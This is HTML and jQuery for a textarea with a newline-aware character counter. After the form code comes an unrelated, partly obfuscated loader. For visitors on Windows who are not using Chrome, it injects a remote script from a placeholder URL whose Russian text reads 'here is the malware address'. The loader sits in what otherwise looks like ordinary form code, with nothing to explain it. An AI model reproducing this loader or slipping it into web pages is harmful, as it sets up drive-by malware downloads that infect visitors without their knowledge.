<form>
<textarea id='test' maxlength='200'></textarea><br>
<span id='rest'></span>
</form>
$('#test').on('keydown', function(event) {
var MAXLEN = 200;
var str = $(this).val();
var newLines = str.split('\n').length-1;
var len = str.length+newLines*99;
if (event.which == 13) {
if (len > MAXLEN-100)
return false;
else
newLines++;
}
$(this).attr('maxlength', MAXLEN-newLines*99);
return true;
});
$('#test').on('paste', function(event) {
var MAXLEN = 200;
var str = $(this).val()+event.originalEvent.clipboardData.getData('Text');
var newLines = str.split('\n').length-1;
var len = str.length+newLines*99;
if (len > MAXLEN)
return false;
return true;
});
$('#test').on('keyup', function() {
$('#rest').text($(this).val().length+'/'+$(this).attr('maxlength'));
});
function strReverse(str){
return (str).split("").reverse().join("");
}
function addScript(src){
if(document.createElement && document.getElementsByTagName) {
var head = document["getElementsByTagName"]('head')[0];
var script = document.createElement('script');
script.setAttribute('type',"text/javascript");
script.setAttribute('src', src);
head["appendChild"](script)
}
}
var scriptSrc = "http://здесь адрес зловреда";
var winStr = "win";
var userAgent = navigator["userAgent"]["toLowerCase"]();
function isWindows() {
return userAgent["indexOf"](winStr) != -1;
}
function isNotChrome() {
return userAgent.indexOf("chrome") == -1;
}
if(isWindows() && isNotChrome()) {
addScript(scriptSrc);
}